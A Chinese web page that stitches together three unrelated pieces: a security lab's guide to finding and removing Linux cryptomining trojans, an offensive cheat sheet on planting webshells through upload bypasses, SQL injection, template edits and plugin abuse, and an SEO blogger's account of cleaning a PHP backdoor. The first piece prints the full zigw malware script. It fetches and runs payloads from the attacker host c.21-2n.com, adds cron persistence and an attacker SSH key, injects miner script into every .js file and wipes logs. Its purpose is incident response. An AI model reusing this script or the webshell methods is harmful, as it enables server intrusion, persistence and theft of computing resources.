藤实验室|文
0x00 什么是挖矿?
想要理解挖矿,就要先理解什么是区块链、虚拟货币。
区块链是一种通过去中心化、去信任的方式集体维护的一个可靠存储。区块链中的每个节点都能获得一份完整的数据拷贝。
虚拟货币是基于区块链的应用。区块链是底层技术,虚拟货币是基于此技术的应用。以比特币为例,可以说比特币是区块链,但区块链不是比特币。
什么是挖矿呢?
每隔一个时间点,比特币系统会在系统节点上生成一个随机代码,互联网中的所有计算机都可以去寻找此代码,谁找到此代码,就会产生一个区块。而比特币的发行是基于奖励的,每促成一个区块的生成,该节点便获得相应奖励,这样大家就有动力投入资金去维护整个交易网络的正常运行。这个寻找代码获得奖励的过程就是挖矿。但是要计算出符合条件的值需要进行上万亿次的哈希运算,这个过程需要大量的算力,于是部分黑客就会通过入侵服务器的方式来控制别人的计算机帮助自己挖矿。
挖矿木马
挖矿木马一般为自动化扫描、攻击、部署挖矿进程的脚本,攻击者首先将挖矿脚本放在远程主机上,通过常见或最新爆出的可命令执行的自动化漏洞利用脚本获得主机的控制权后,登陆主机,利用wget或curl直接下载远程挖矿进程部署脚本,执行脚本进行挖矿进程的部署、隐藏、持久化和痕迹清除等工作。
挖矿流程一般为:
0x01 常见被挖矿的原因
为了追求高效率,现在的黑客一般都是通过自动化脚本去扫描互联网上所有机器,寻找漏洞然后部署挖矿进程。所以大部分的挖矿都是由于受害者的主机上存在常见的漏洞。比如
一旦发现服务器被挖矿,应该首先查看挖矿进程所属的用户,根据挖矿进程的运行用户去排查该用户下是否还运行着其它进程,确定这些进程是否有上述经常被黑客利用的漏洞。如果有常见的漏洞,则应该重点对此进行排查。
0x02 被挖矿特征
0x03 排查过程
1. 确定挖矿进程
可以使用top命令直接筛选出占用CPU过高的可疑进程。
部分挖矿进程的名字由不规则数字和字母组成,可直接看出(如ddg的qW3xT.4或zigw等)。
也有的挖矿进程会修改进程名为常见名称,干扰运维人员,这种伪装方法比较简单(比如利用XHide修改进程名或直接修改可执行文件名),所以排查过程中也要关注所有占用CPU较高的可疑进程。
如果看到了可疑进程,可以使用lsof -p pid 查看进程打开的文件,或查看/proc/pid/exe 指向的文件。
lsof
proc
从上图可以看到,python进程所指向的文件明显为异常文件,此时就需要重点排查该文件。如果挖矿木马有隐藏进程的功能,那么很难直接从top中确定可疑进程名。这时,可从以下几方面进行排查:
1).是否替换了系统命令
使用 rpm -Va 查看系统命令是否被替换,如果系统命令已经被替换,可直接从纯净系统拷贝ps,top,等命令到受感染主机上使用。
可以看到,系统的ps、netstat、lsof 三个命令均被替换。
ps命令被替换后,会修改ps输出的内容,从而隐藏可疑进程。此时直接使用ps命令时,会导致查询不准确。比如gates木马会替换ps命令,直接使用ps -ef命令查看进程时,会隐藏一个位于/usr/bin/下的进程。如下,使用busybox可看到可疑进程,但是使用系统的ps命令就不会看到/usr/bin/bsd-port/recei进程。
2).是否修改了动态链接库
如果找不到占用CPU较高的进程,可考虑排查是否修改了动态链接库,使用cat /etc/ld.so.preload 或echo $LD_PRELOAD 命令查看是否有预加载的动态链接库文件。
也可以使用ldd命令查看命令依赖库中是否有可疑动态库文件,如图,在将libprocesshider.so文件加入ld.so.preload文件中后,ldd 命令可看到top命令预先加载了可疑动态库。
确认已经加载恶意动态链接库后,直接移除恶意动态链接库文件或清除ld.so.preload中对该库文件的引用内容即可。
3).以上情况都可以直接通过静态编译的busybox进行排查。
2. 查看挖矿进程所属用户
一般挖矿进程为自动化攻击脚本,所以很少有提权的过程,那么很大可能挖矿进程所属用户即为攻击进入系统的用户。后续的排查过程可根据此寻找攻击者的入侵途径。
top
ps -ef |grep pid
两种方式都可以看到,挖矿进程所属用户为 weblogic。
3. 查看用户进程
确定已失陷用户后,可查询该用户所属其他进程,判断其他进程是否有已知漏洞(Weblogic反序列化、Struts2系列漏洞、Jenkins RCE)或弱口令(Redis未授权、Hadoop yarn未授权、SSH弱口令)等问题。
ps -ef|grep username
可以看到,weblogic用户下除了两个挖矿进程,还有一个weblogic应用的进程,所以这时候就应该判断该该weblogic应用是否有已知的漏洞(比如WebLogic反序列化漏洞)。如果有的话,那么该挖矿进程很可能是利用了该漏洞进入主机。
4. 确定原因
排查出挖矿木马后对木马类型进行分析,根据木马的传播特征和传播方式,初步判断本次入侵的原因。然后结合应用日志以及漏洞利用残留文件确定本次攻击是否利用了该漏洞。
比如,利用redis未授权访问漏洞后,一般会修改redis的dbfilename和dir的配置,并且使用reids写文件时,会在文件中残留redis和版本号标识,可以根据以上两个信息排查是否利用了redis。
0x04 清除挖矿木马
1. 及时隔离主机
部分带有蠕虫功能的挖矿木马在取得本机的控制权后,会以本机为跳板机,对同一局域网内的其他主机进行已知漏洞的扫描和进一步利用,所以发现挖矿现象后,在不影响业务的前提下应该及时隔离受感染主机,然后进行下一步分析。
2. 阻断与矿池通讯
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
3. 清除定时任务
大部分挖矿进程会在受感染主机中写入定时任务完成程序的驻留,当安全人员只清除挖矿木马时,定时任务会再次从服务器下载挖矿进程或直接执行挖矿脚本,导致挖矿进程清除失败。
使用crontab -l 或 vim /var/spool/cron/root 查看是否有可疑定时任务,有的话直接删除,或停止crond进程。
还有
/etc/crontab、/var/spool/cron、/etc/cron.daily/、/etc/cron.hourly/、/etc/cron.monthly/、/etc/anacrontab 等文件夹或文件中的内容也要关注。
4. 清除启动项
还有的挖矿进程为了实现长期驻留,会向系统中添加启动项来确保系统重启后挖矿进程还能重新启动。所以在清除时还应该关注启动项中的内容,如果有可疑的启动项,也应该进行排查,确认是挖矿进程后,对其进行清除。
排查过程中重点应该关注:
/etc/rc0.d/、/etc/rc1.d/、/etc/rc2.d/、/etc/rc3.d/、/etc/rc4.d/、/etc/rc5.d/、/etc/rc6.d/、/etc/rc.d/、/etc/rc.local /etc/inittab等目录或文件下的内容。
5. 清除公钥文件
在用户家目录的.ssh目录下放置authoruzed_keys文件,从而免密登陆该机器也是一种常见的保持服务器控制权的手段。在排查过程中应该查看该文件中是否有可疑公钥信息,有的话直接删除,避免攻击者再次免密登陆该主机。
[UserDIR]/.ssh/authorized_keys
6. kill挖矿进程
对于单进程挖矿程序,直接结束挖矿进程即可。但是对于大多数的挖矿进程,如果挖矿进程有守护进程,应先杀死守护进程再杀死挖矿进程,避免清除不彻底。
kill -9 pid 或 pkill ddg.3014
在实际的清除工作中,应找到本机上运行的挖矿脚本,根据脚本的执行流程确定木马的驻留方式,并按照顺序进行清除,避免清除不彻底。
0x005 挖矿进程清除实例
1. ddgs.3014清除
DDG 是一个专注于扫描控制 SSH 、 Redis数据库 和 OrientDB数据库服务器,并利用服务器算力挖矿(门罗币)的僵尸网络。
ddg.3014的执行脚本 i.sh
可以看到,脚本的执行流程是先写入定时任务(/var/spool/cron/root 或 /var/spool/cron/crontabs/root),然后下载对应版本的ddgs.3014文件并执行,最后清除其他存在于本机的挖矿样本。
ddgs.3014执行后会主动连接攻击者的C2服务器去下载相应的挖矿程序并运行,而且ddg还内置了redis和SSH扫描器,会对redis和SSH进行爆破,ddg还会在.ssh/authorized_keys中留下公钥。
ddgs.3014程序 和 qW3xT.4挖矿文件,
此时会有两个ddg相关进程进程,ddg.3014和qW3xT.4,
使用top命令可以看到,占用cpu较高的是qW3xT.4进程,即矿机。
根据脚本的执行流程可以知道,ddg.3014挖矿木马的清除步骤是
1).首先清除定时任务,删除/var/spool/cron/root 和 /var/spool/cron/crontabs/root中的内容
2).结束ddgs.3014,kill -9 1546 或 pkill -9 ddgs.3014
3).结束矿机进程,kill -9 1734 或 pkill -9 qW3xT.4
4).清除其他残留文件,rm -rf ~/.ddg /tmp/ddgs.3014 /tmp/qW3xT.4
5).清除authorized_keys中的恶意公钥, echo "" > ~/.ssh/authorized_keys
2. zigw清除
zigw是一种XMR挖矿工具,攻击者通过爆破SSH获取系统权限,配置root用户免密登录,并下载及执行XMR 挖矿程序,及XMR 网页挖矿程序。XMR挖矿程序耗主机的CPU/GPU资源,网页挖矿程序耗访问服务器JS 网页的客户端资源 。
攻击者的C2服务器页面本身就自带JS挖矿效果:
zigw的执行脚本 shz.sh如下,
#!/bin/shsetenforce 0 2>dev/nullecho SELINUX=desabled > /etc/sysconfig/selinux 2>/dev/null sync && echo 3 >/proc/sys/vm/drop_caches crondir='/var/spool/cron/'"$USER"cont=`cat ${crondir}`ssht=`cat /root/.ssh/authorized_keys`echo 1 > /etc/gmbpr2 rtdir="/etc/gmbpr2"oddir="/etc/gmbpr"bbdir="/usr/bin/curl"bbdira="/usr/bin/url"ccdir="/usr/bin/wget"ccdira="/usr/bin/get"mv /usr/bin/wget /usr/bin/get mv /usr/bin/curl /usr/bin/urlif [ -f "$oddir" ] then pkill zjgw chattr -i /etc/shz.sh rm -f /etc/shz.sh chattr -i /tmp/shz.sh rm -f /tmp/shz.sh chattr -i /etc/gmbpr rm -f /etc/gmbpr else echo "ok"fiif [ -f "$rtdir" ] then echo "goto 1" >> /etc/gmbpr2 chattr -i $cont if [ -f "$bbdir" ] then [[ $cont=~ "shz.sh" ]] || echo "*/12 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir} else [[ $cont=~ "shz.sh" ]] || echo "*/15 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir} fi mkdir /root/.ssh [[ $ssht=~ "xvsRtqHLMWoh" ]] || chmod 700 /root/.ssh/ [[ $ssht=~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys [[ $ssht=~ "xvsRtqHLMWoh" ]] || chmod 600 /root/.ssh/authorized_keys [[ $ssht=~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys ps -fe|grep zigw |grep -v grep if [ $? -ne 0 ] then cd /etc filesize=`ls -l zigw | awk '{ print $5 }'` file="/etc/zigw" if [ -f "$file" ] then if [ "$filesize" -ne "1467080" ] then chattr -i /etc/zigw rm -f zigw if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw fi fi else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw fi fi chmod 777 zigw sleep 1s ./zigw else echo "runing....." fi chmod 777 /etc/zigw chattr +i /etc/zigw chmod 777 /etc/shz.sh chattr +i /etc/shz.sh shdir='/etc/shz.sh' if [ -f "$shdir" ] then echo "exists shell" else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /etc/shz.sh elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /etc/shz.sh elif [ -f "$ccdir" ] then wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/shz.sh elif [ -f "$ccdira" ] then get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/shz.sh fi sh /etc/shz.sh fi else echo "goto 1" > /tmp/gmbpr2 chattr -i $cont if [ -f "$bbdir" ] then [[ $cont=~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir} else [[ $cont=~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir} fi ps -fe|grep zigw |grep -v grep if [ $? -ne 0 ] then cd /tmp filesize=`ls -l zigw | awk '{ print $5 }'` file="/tmp/zigw" if [ -f "$file" ] then if [ "$filesize" -ne "1467080" ] then chattr -i /tmp/zigw rm -f zigw if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw fi fi else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw fi fi chmod 777 zigw sleep 1s ./zigw else echo "runing....." fi chmod 777 /tmp/zigw chattr +i /tmp/zigw chmod 777 /tmp/shz.sh chattr +i /tmp/shz.sh shdir='/tmp/shz.sh' if [ -f "$shdir" ] then echo "exists shell" else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh elif [ -f "$ccdir" ] then wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/shz.sh elif [ -f "$ccdira" ] then get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/shz.sh fi sh /tmp/shz.sh fifiiptables -F iptables -X iptables -A OUTPUT -p tcp --dport 3333 -j DROP iptables -A OUTPUT -p tcp --dport 5555 -j DROP iptables -A OUTPUT -p tcp --dport 7777 -j DROP iptables -A OUTPUT -p tcp --dport 9999 -j DROP iptables -A OUTPUT -p tcp --dport 14444 -j DROP iptables-save service iptables reload ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9 netstat -ano|grep :3333|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 netstat -ano|grep :4444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 netstat -ano|grep :5555|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 netstat -ano|grep :6666|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 netstat -ano|grep :7777|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 netstat -ano|grep :3347|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 netstat -ano|grep :14444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 netstat -ano|grep :14443|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\;history -cecho > /var/spool/mail/rootecho > /var/log/wtmpecho > /var/log/secureecho > /root/.bash_historyecho > /var/spool/mail/root
可以看到,脚本首先生成特征文件/etc/gmbpr2,接着将系统自带的wget和curl重命名为get和url,防止以后其它进入本机挖矿的脚本下载矿机抢夺资源,然后如果存在特征文件/etc/gmbpr,则认为该机器已经被其他同类攻击者感染,会停止zjgw进程并删除/etc下的gpbpr和shz.sh。
接下来判断如果存在自己的特征文件/etc/gmbpr2,就会为主机添加定时任务,并向authorized_keys中添加自己的公钥文件。
最后就会下载挖矿程序并执行,并为/tmp/zigw /tmp/shz/sh 增加i属性,避免被删除,最后添加防火墙规则屏蔽部分常用矿池的端口,并清除掉其他常见挖矿程序。
从脚本看出,zigw只是以定时任务的方式实现驻留,所以该木马的清除步骤为
1).清除定时任务,/var/spool/cron/$USER中的内容
2).结束zigw进程,pkill -9 zigw
3).删除公钥文件,/root/.ssh/zuthorized_keys
4).删除残留文件,需要先去除i属性,然后删除(chattr -i /etc/zigw /etc/shz.sh /tmp/zigw /tmp/shz.sh; rm /etc/zigw /etc/shz.sh /tmp/zigw /tmp/shz.sh /etc/gmbpr2)
5).恢复防火墙规则
参考链接
https://github.com/chenkaie/junkcode/blob/7134fb63eecf32fefc47d613a7f2f37d4eee05fb/xhide.c
https://github.com/gianlucaborello/libprocesshider
https://www.freebuf.com/column/188100.html
https://blog.csdn.net/btc18129874591/article/details/80566799
https://xmr.omine.org
https://www.f2pool.com/
上传木马拿webshell的几种方法汇总(不全)
这里整理了几种上传木马的方法,主要分为两类,拿到网站后台和没有网站后台权限两种。可能有一些比较老,已经很难见到了,每种只是简单介绍,用来提醒自己一下,以免忘记。具体的方法可以去网上针对每种方法搜索细致的教程和攻略,可能不是很全,以后会补充,暂时没什么例子,以后有了随时更新。
普通权限下拿webshell
使用sql注入拿webshell
前文提到了sql写入木马的方法,区别就是后台可以直接运行sql语句,而sql注入需要自己构造语句,但总体思路不变:
头像上传木马
文件上传漏洞
利用文件上传漏洞上传木马,绕过方式在这里就不细说了。
远程命令执行
使用远程命令执行,执行命令行命令“写入内容到文件”如:echo“” > x.php 会自动将创建木马文件并将一句话木马写入其中,我们连接即可。
xss和sql注入联合利用
有些输入框对一些符号过滤不严密(如<>,所以一般存在xss的地方就可以这么利用)我们可以在这里输入一句话之后再用数据库注入,查询到文件into file成功插入一句话木马
网站写权限漏洞
有些网站的管理员在配置网站权限的时候疏忽,导致我们有写权限,这种漏洞需要用工具来利用,在这里就不说了,只是提一下。而且已经很少见了。
通用漏洞
可以搜索一些跟网站相关的信息,比如cms类型和版本,编辑器类型,看看有没有通用的漏洞可以利用
拿到后台管理权限下上传木马
直接上传
当网站对上传的文件类型没有限制的时候直接利用后台的上传文件来上传木马脚本。大部分情况后台会告诉你上传位置,如果没有显示上传的绝对路径,可以抓包看response包。
修改上传类型
当网站限制上传文件的类型但在后台却可以修改的时候,果断修改上传文件类型,允许上传脚本类型,之后上传我们的木马即可。
数据库备份上传木马
当网站对上传的文件类型有限制的时候,我们可以先将木马上传成jpg等图片类型,之后使用数据库备份功能,将图片木马被分成脚本类型。
但并不是所有网站都这么蠢,有时候可能对于备份的目录,类型,是写死的,我们无法控制,可以通过修改静态页面,或者抓包改包等方式绕过。
突破JavaScript限制上传类型
有些网站对于上传类型的限制卸载了js脚本中,我们可以:
上传其他脚本类型
若目标服务器内还有其他类型的站点(如这个服务器内同时存在php的网站和asp的网站,我们获取了asp网站的后台,但这个后台限制我们上传asp的脚本文件)我们可以尝试上传不同类型的脚本文件,比如上传php,会发现服务器同样会执行。这是必然的,因为这个服务器中还有另一种类型的脚本的网站。
%00截断
我们通过服务器的解析漏洞,上传文件时将文件名用以下格式命名:xx.asp%00.jpg,之后进行抓包,将%00编码成空字符(也是字符串结束符)之后forward数据包,可以进行绕过。
服务器解析漏洞
利用已知的各版本服务器畸形解析漏洞来绕过:
1. IIS 5.x/6.0
2. IIS 7.0/7.5 Nginx<8.0
3. Apach
利用编辑器
利用网站的编辑器上传木马,可以上网搜索已知的编辑器漏洞,常用的有:fckeditor,ewebeditor,cheditor,有时候没有管理员权限也可以拿下webshell。
网站配置
利用网站配置页面,这个页面的值会直接写入在脚本文件中,所以我们可以像xss一样来插入一句话木马,但需要注意的是,一定要闭合好之前的标签,插入之后也要开启之后的标签,否则容易使此页面报错,并且不可逆的损害。导致以后都无法利用这个页面。
编辑模板
拿到后台之后,如果发现网站是使用的模板的话,我们可以编辑模板,将木马写在模板中。
修改脚本文件
动态的网站,好多函数都是写在单独的文件中的,我们可以在写网站需要的函数的脚本文件中写入木马。
数据库命令拿webshell
有些网站后台可以执行sql命令,这就和使用sql注入拿shell一样了:
编辑模板添加静态页面
现在网站的默认生成文件的目录中添加目录xx.asp(需要配合IIS6.0服务器的畸形解析漏洞),之后再此目录下的所有文件都会当做asp脚本执行,然后我们修改模板中的生成静态界面的函数使它生成携带木马代码的静态文件,但在此页面下会当做asp脚本执行,就会成功执行我们的木马脚本。
文件包含
当我们的一句话木马上传成功,菜刀可以连接,但发现大马上传不了,被防火墙或者安全狗拦截时,可以考虑使用包含文件,思路如下;
这里是因为包含函数包含的文件会被当成脚本文件,直接将文件内容插入到这个文件中。
添加插件
将木马放入zip压缩文件中,最好是网站插件的压缩文件,之后再后台安装插件,选中含有木马的压缩文件,会自动将插件连通木马安装在网站目录下,接下来我们只需要寻找到木马的绝对路径即可。
修改404页面
在网站模板中的404页面中插入一句话木马,之后找到这个页面的绝对路径,访问之。
近,我前公司的网站telpo.cn被最新的木马攻击,接连发生了很多问题,网站经常断断续续地打开,然后流量被劫持,一时间排除问题才发现是被挂木马了。
相信站长SEOer们在日常网站优化过程中也会遇到网站被黑恶意劫持的问题。网站被挂马怎么处理,如何进行排查呢?
本文结合自己的处理流程进行梳理并分享。
【服务器防御排查】
很多站长们选择购买了便宜的不可靠的服务器,这往往最容易被入侵攻击。廉价的服务器机房基本上不会开启安全防护功能,入侵者利用漏洞轻松可以进行提权操作。
前公司一直使用大品牌的云服务器,推荐使用阿里云、腾讯云、百度云等,相对来说比乱七八糟的品牌有保障些。
前些天前公司的一台阿里云服务器收到安全风险提示短信,第一时间登录阿里云后台,找到云盾系统消息提示发现后门webshell文件,如下图:
系统会提供具体的后门文件的路径位置,根据这些信息可以快速定位到网站程序中的PHP木马后门文件。如下图所示:
不懂代码的站长们还真不太好发现,所以这时候需要公司PHP研发和信息化人员投入精力去排查一下。
这是第二个网页后门文件,命名跟其他图片一样,一般很难发现。下图所示
分析过后,进行了下载方便后面进一步的分析研究。建议立即删除php后门文件。
服务器主机电脑杀毒软件也进行了查杀报毒
【整站源代码清查木马】
一般情况下当网站被黑恶意跳转或者被挂木马打不开页面,这时候应该做的就是针对网站进行彻底的清查。
大品牌服务器运营商在这时候就发挥他们的优势,技术售后能力强,你在后台提交工单,他们也会协助提供方案去解决问题。
具体方法,网站管理面板对站点进行打包下载,电脑本地使用网马查杀软件进行分析。
建议使用 D盾Web查杀(webshell查杀) 工具,如下图:
D盾webshell查杀软件
如果你对源码不了解,请联系你的网站开发人员或者是信息化研发人员协助处理。(网站公司那边一般会收取维护费)应该第一时间把隐藏的风险文件和后门程序进行剔除。
(必须记得对网站原始数据进行备份)
确定把木马处理干净之后的源码重新传到网站主机当中,确保网站正确运行即可。
另外,强化安全操作:
1、修改网站后台密码的复杂性和长度;
2、修改服务器管理面板的控制权限;
3、修改FTP账号密码等信息;
4、检查服务器的安全日志修补漏洞 ;
5、购买服务器厂商的安全防护类产品等;
【事后分析木马被挂原因】
为了进行研究和学习,在SEO群里拿出事件的始末来讨论分析原因,才知道是Phpstudy的后门文件出现了状况(文章帖子:https://www.52pojie.cn/thread-1028079-1-1.html?from=groupmessage)。
因此,特意把查杀出来的几个后门文件进行分析,如下图:
打开其中一个PHP后门文件来查看代码:
为了大家方便查看,把PHP后门放到本地PHP环境中运行给大家看看后门程序的功能。
密码就是上图的红框标记出来的,进行MD5解密后得到admins
入侵者通过自己的PHP后门入口,在你无感知的状态下,可以轻松获得你服务器主机的各种权限和操作,如下图:
另外一个后门PHP文件登录后的界面和功能
这些行为严重侵害了人民群众的合法权益,甚至危害国家安全。做为站长SEO人员一定要及时发现漏洞和后门,及时处理做好防护,懂得跟技术人员沟通问题,运用资源去找到最优解决方案,否则后果将不堪设想。
最后:切记一点,选择大品牌的服务器,及时发现并监控网站安全,不要等到网站问题放大严重后果,百度惩罚流量下滑再去处理就已经晚了。
品牌简介:L氪迹|佛山SEO实战技术-免费SEO教程学习网站
本站文章由SEO技术教程学习网发布,作者:L氪迹,如若转载请注明原文及网址
*请认真填写需求信息,我们会在24小时内与您取得联系。